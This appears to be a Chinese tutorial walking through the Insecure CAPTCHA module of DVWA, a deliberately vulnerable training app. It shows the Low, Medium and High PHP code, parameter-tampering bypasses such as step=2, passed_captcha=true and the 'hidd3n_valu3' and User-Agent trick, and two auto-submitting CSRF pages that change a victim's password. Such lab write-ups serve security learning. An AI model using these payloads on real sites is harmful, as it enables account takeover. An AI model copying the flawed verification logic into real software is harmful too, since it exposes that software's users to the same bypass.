DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是Brute Force(暴力(破解))、Command Injection(命令行注入)、CSRF(跨站请求伪造)、File Inclusion(文件包含)、File Upload(文件上传)、Insecure CAPTCHA(不安全的验证码)、SQL Injection(SQL注入)、SQL Injection(Blind)(SQL盲注)、XSS(Reflected)(反射型跨站脚本)、XSS(Stored)(存储型跨站脚本)。

需要注意的是,DVWA 1.9的代码分为四种安全级别:Low,Medium,High,Impossible。初学者可以通过比较四种级别的代码,接触到一些PHP代码审计的内容。

Insecure CAPTCHA

Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell Computers and Humans Apart (全自动区分计算机和人类的图灵测试)的简称。但个人觉得,这一模块的内容叫做不安全的验证流程更妥当些,因为这块主要是验证流程出现了逻辑漏洞,谷歌的验证码表示不背这个锅。

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :

$is_valid是布尔型的,表示校验是否有效,

$error是返回的错误代码。

在正式开始之前,我们进入这个模块,可能会遇到不能正常显示的情况。

百度报错信息,需要在配置文件中加入谷歌的密钥:

$_DVWA[ 'recaptcha_public_key' ]  = '6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';
$_DVWA[ 'recaptcha_private_key' ] = '6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

密钥可以去谷歌去生成,但是需要FQ,这里就直接用的网上的。

LOW级别:
代码:

  1. <?php
  2.  
  3. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
  4. // Hide the CAPTCHA form
  5. $hide_form = true;
  6.  
  7. // Get input
  8. $pass_new = $_POST[ 'password_new' ];
  9. $pass_conf = $_POST[ 'password_conf' ];
  10.  
  11. // Check CAPTCHA from 3rd party
  12. $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
  13. $_SERVER[ 'REMOTE_ADDR' ],
  14. $_POST[ 'recaptcha_challenge_field' ],
  15. $_POST[ 'recaptcha_response_field' ] );
  16.  
  17. // Did the CAPTCHA fail?
  18. if( !$resp->is_valid ) {
  19. // What happens when the CAPTCHA was entered incorrectly
  20. $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
  21. $hide_form = false;
  22. return;
  23. }
  24. else {
  25. // CAPTCHA was correct. Do both new passwords match?
  26. if( $pass_new == $pass_conf ) {
  27. // Show next stage for the user
  28. echo "
  29. <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
  30. <form action=\"#\" method=\"POST\">
  31. <input type=\"hidden\" name=\"step\" value=\"2\" />
  32. <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
  33. <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
  34. <input type=\"submit\" name=\"Change\" value=\"Change\" />
  35. </form>";
  36. }
  37. else {
  38. // Both new passwords do not match.
  39. $html .= "<pre>Both passwords must match.</pre>";
  40. $hide_form = false;
  41. }
  42. }
  43. }
  44.  
  45. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
  46. // Hide the CAPTCHA form
  47. $hide_form = true;
  48.  
  49. // Get input
  50. $pass_new = $_POST[ 'password_new' ];
  51. $pass_conf = $_POST[ 'password_conf' ];
  52.  
  53. // Check to see if both password match
  54. if( $pass_new == $pass_conf ) {
  55. // They do!
  56. $pass_new = mysql_real_escape_string( $pass_new );
  57. $pass_new = md5( $pass_new );
  58.  
  59. // Update database
  60. $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  61. $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
  62.  
  63. // Feedback for the end user
  64. echo "<pre>Password Changed.</pre>";
  65. }
  66. else {
  67. // Issue with the passwords matching
  68. echo "<pre>Passwords did not match.</pre>";
  69. $hide_form = false;
  70. }
  71.  
  72. mysql_close();
  73. }
  74.  
  75. ?>

可以看到,服务器将改密操作分成了两步,第一步检查用户输入的验证码,验证通过后,服务器返回表单,第二步客户端提交post请求,服务器完成更改密码的操作。但是,这其中存在明显的逻辑漏洞,服务器仅仅通过检查Change、step 参数来判断用户是否已经输入了正确的验证码。

漏洞利用1:

通过构造参数绕过验证过程:

首先输入新的密码,然后change之后再抓包:

(ps:因为没有FQ,所以没能成功显示验证码,发送的请求包中也就没有recaptcha_challenge_field、recaptcha_response_field两个参数)

更改step参数绕过验证码:

修改密码成功:

漏洞利用2:由于没有任何的防CSRF机制,我们可以轻易地构造攻击页面,页面代码如下

  1. <html>
  2.  
  3. <body onload="document.getElementById('transfer').submit()">
  4.  
  5. <div>
  6.  
  7. <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/">
  8.  
  9. <input type="hidden" name="password_new" value="password">
  10.  
  11. <input type="hidden" name="password_conf" value="password">
  12.  
  13. <input type="hidden" name="step" value="2"
  14.  
  15. <input type="hidden" name="Change" value="Change">
  16.  
  17. </form>
  18.  
  19. </div>
  20.  
  21. </body>
  22.  
  23. </html>

当受害者访问这个页面时,攻击脚本会伪造改密请求发送给服务器。但是受害者会看到更改密码成功的界面(这是因为修改密码成功后,服务器会返回302,实现自动跳转),从而意识到自己遭到了攻击。

Medium

代码:

  1. <?php
  2.  
  3. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
  4. // Hide the CAPTCHA form
  5. $hide_form = true;
  6.  
  7. // Get input
  8. $pass_new = $_POST[ 'password_new' ];
  9. $pass_conf = $_POST[ 'password_conf' ];
  10.  
  11. // Check CAPTCHA from 3rd party
  12. $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
  13. $_SERVER[ 'REMOTE_ADDR' ],
  14. $_POST[ 'recaptcha_challenge_field' ],
  15. $_POST[ 'recaptcha_response_field' ] );
  16.  
  17. // Did the CAPTCHA fail?
  18. if( !$resp->is_valid ) {
  19. // What happens when the CAPTCHA was entered incorrectly
  20. $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
  21. $hide_form = false;
  22. return;
  23. }
  24. else {
  25. // CAPTCHA was correct. Do both new passwords match?
  26. if( $pass_new == $pass_conf ) {
  27. // Show next stage for the user
  28. echo "
  29. <pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
  30. <form action=\"#\" method=\"POST\">
  31. <input type=\"hidden\" name=\"step\" value=\"2\" />
  32. <input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
  33. <input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
  34. <input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
  35. <input type=\"submit\" name=\"Change\" value=\"Change\" />
  36. </form>";
  37. }
  38. else {
  39. // Both new passwords do not match.
  40. $html .= "<pre>Both passwords must match.</pre>";
  41. $hide_form = false;
  42. }
  43. }
  44. }
  45.  
  46. if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
  47. // Hide the CAPTCHA form
  48. $hide_form = true;
  49.  
  50. // Get input
  51. $pass_new = $_POST[ 'password_new' ];
  52. $pass_conf = $_POST[ 'password_conf' ];
  53.  
  54. // Check to see if they did stage 1
  55. if( !$_POST[ 'passed_captcha' ] ) {
  56. $html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
  57. $hide_form = false;
  58. return;
  59. }
  60.  
  61. // Check to see if both password match
  62. if( $pass_new == $pass_conf ) {
  63. // They do!
  64. $pass_new = mysql_real_escape_string( $pass_new );
  65. $pass_new = md5( $pass_new );
  66.  
  67. // Update database
  68. $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  69. $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
  70.  
  71. // Feedback for the end user
  72. echo "<pre>Password Changed.</pre>";
  73. }
  74. else {
  75. // Issue with the passwords matching
  76. echo "<pre>Passwords did not match.</pre>";
  77. $hide_form = false;
  78. }
  79.  
  80. mysql_close();
  81. }
  82.  
  83. ?>

可以看到,Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。

修改密码抓包:

改包:增加passed_captcha参数,绕过验证码。

更改密码成功:

漏洞利用2:同样也可以使用CSRF攻击界面在方式:

  1. <html>
  2.  
  3. <body onload="document.getElementById('transfer').submit()">
  4.  
  5. <div>
  6.  
  7. <form method="POST" id="transfer" action="http://192.168.5.100/dvwa/vulnerabilities/captcha/">
  8.  
  9. <input type="hidden" name="password_new" value="password">
  10.  
  11. <input type="hidden" name="password_conf" value="password">
  12.  
  13. <input type="hidden" name="passed_captcha" value="true">
  14.  
  15. <input type="hidden" name="step" value="2">
  16.  
  17. <input type="hidden" name="Change" value="Change">
  18.  
  19. </form>
  20.  
  21. </div>
  22.  
  23. </body>
  24.  
  25. </html>

High:

代码:

  1. <?php
  2.  
  3. if( isset( $_POST[ 'Change' ] ) ) {
  4. // Hide the CAPTCHA form
  5. $hide_form = true;
  6.  
  7. // Get input
  8. $pass_new = $_POST[ 'password_new' ];
  9. $pass_conf = $_POST[ 'password_conf' ];
  10.  
  11. // Check CAPTCHA from 3rd party
  12. $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
  13. $_SERVER[ 'REMOTE_ADDR' ],
  14. $_POST[ 'recaptcha_challenge_field' ],
  15. $_POST[ 'recaptcha_response_field' ] );
  16.  
  17. // Did the CAPTCHA fail?
  18. if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
  19. // What happens when the CAPTCHA was entered incorrectly
  20. $html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
  21. $hide_form = false;
  22. return;
  23. }
  24. else {
  25. // CAPTCHA was correct. Do both new passwords match?
  26. if( $pass_new == $pass_conf ) {
  27. $pass_new = mysql_real_escape_string( $pass_new );
  28. $pass_new = md5( $pass_new );
  29.  
  30. // Update database
  31. $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
  32. $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
  33.  
  34. // Feedback for user
  35. echo "<pre>Password Changed.</pre>";
  36. }
  37. else {
  38. // Ops. Password mismatch
  39. $html .= "<pre>Both passwords must match.</pre>";
  40. $hide_form = false;
  41. }
  42. }
  43.  
  44. mysql_close();
  45. }
  46. // Generate Anti-CSRF token
  47. generateSessionToken();
  48.  
  49. ?>

可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数g-recaptcha-response不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。

漏洞利用:$resp参数我们无法控制,所以重心放在参数g-recaptcha-response、User-Agent上。

抓包拿到数据:

更改参数g-recaptcha-response以及http包头的User-Agent:

修改成功:

DVWA-全等级验证码Insecure CAPTCHA的更多相关文章

  1. DVWA全级别之Insecure CAPTCHA(不安全的验证码)

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

  2. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. DVWA 黑客攻防演练(六)不安全的验证码 Insecure CAPTCHA

    之前在 CSRF 攻击 的那篇文章的最后,我觉得可以用验证码提高攻击的难度. 若有验证码的话,就比较难被攻击者利用 XSS 漏洞进行的 CSRF 攻击了,因为要识别验证码起码要调用api,跨域会被浏览 ...

  4. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  5. 不安全的验证码Insecure CAPTCHA

    没啥好讲的,当验证不合格时,通过burp抓包工具修改成符合要求的数据包.修改参数标志位.USER-AGENT之类的参数. 防御 加强验证,Anti-CSRF token机制防御CSRF攻击,利用PDO ...

  6. 安全性测试入门 (五):Insecure CAPTCHA 验证码绕过

    本篇继续对于安全性测试话题,结合DVWA进行研习. Insecure Captcha不安全验证码 1. 验证码到底是怎么一回事 这个Captcha狭义而言就是谷歌提供的一种用户验证服务,全称为:Com ...

  7. DVWA(二): Brute Force(全等级暴力破解)

    tags: DVWA Brute Force Burp Suite Firefox windows2003 暴力破解基本利用密码字典使用穷举法对于所有的账号密码组合全排列猜解出正确的组合. LEVEL ...

  8. DVWA-全等级暴力破解

    之前写了dvwa的sql注入的模块,现在写一下DVWA的其他实验步骤: 环境搭建参考:https://www.freebuf.com/sectool/102661.html DVWA简介 DVWA(D ...

  9. DVWA之Insecure Captcha

    Insecure CAPTCHA Insecure CAPTCHA,意思是不安全的验证码,CAPTCHA是Completely Automated Public Turing Test to Tell ...

随机推荐

  1. 发送 email (转)

    <?phpnamespace app\common\controller;//基类class Email{ /* Public Variables */ var $smtp_port; var ...

  2. Exception 和Error异常大部分人都犯过的错。

    先看再点赞,给自己一点思考的时间,如果对自己有帮助,微信搜索[程序职场]关注这个执着的职场程序员. 我有什么:职场规划指导,技能提升方法,讲不完的职场故事,个人成长经验. 1,简介 Exception ...

  3. Doris开发手记3:利用CoreDump文件快速定位Doris的查询问题

    Apache Doris的BE部分是由C++编写,当出现一些内存越界,非法访问的问题时会导致BE进程的Crash.这部分的问题常常较难排查,同时也很难快速定位到对应的触发SQL,给使用者带来较大的困扰 ...

  4. 深入理解Java多线程——线程池

    目录 为什么需要线程池 定义 ThreadPoolExecutor 工作队列workQueue 不同的线程池 Executor 线程池的工作原理 线程池生命周期 线程池增长策略 线程池大小的设置 线程 ...

  5. 「AGC025D」 Choosing Points

    「AGC025D」 Choosing Points 神仙构造题. 首先你会尝试暴力做,先随便选一个点,然后把当前能选得全选上,然后你发现这样样例都过不了. 然后我们可以这样考虑:你把距离为 \(\sq ...

  6. C++ 标准模板库(STL)——算法(Algorithms)的用法及理解

    C++ STL中的算法(Algorithms)作用于容器.它们提供了执行各种操作的方式,包括对容器内容执行初始化.排序.搜索和转换等操作.按照对容器内容的操作可将STL 中的算法大致分为四类: (1) ...

  7. IDEA 生成类注释和方法注释

    目录 一.生成类注释-01 1.1.生成类注解模板 1.2.把模板设置到IDEA中 1.3.效果图 二.生成类注释-02 2.1.生成类注释模板 2.2.把模板设置到IDEA中 2.3.效果图 2.4 ...

  8. ES6新增语法(七)——async...await

    什么是async async的意思是"异步",顾名思义就是有关异步操作的关键字,async 是 ES7 才有的,与我们之前说的Promise.Generator有很大的关联. 使用 ...

  9. 常用js代码积累

    1,js判断进入可视区,参考(亲测不行):https://www.cnblogs.com/Marydon20170307/p/8830069.html 重点学习的话,可参考: js计算元素距离顶部的高 ...

  10. 【每日算法】存在重复元素 II

    题目描述 这是 LeetCode 上的 219. 存在重复元素 II, 难度为 [简单] 给定一个整数数组和一个整数 k,判断数组中是否存在两个不同的索引 i 和 j,使得 nums [i] = nu ...